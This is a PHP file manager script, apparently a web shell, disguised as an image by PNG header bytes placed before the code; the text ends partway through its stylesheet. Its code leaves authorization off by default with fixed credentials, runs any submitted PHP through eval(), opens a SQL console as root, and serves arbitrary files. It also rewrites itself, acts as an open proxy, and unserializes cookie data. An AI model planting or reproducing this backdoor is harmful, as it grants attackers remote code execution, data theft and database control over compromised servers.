IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

h25jguaT5*!‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

h25jguaT5*!<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
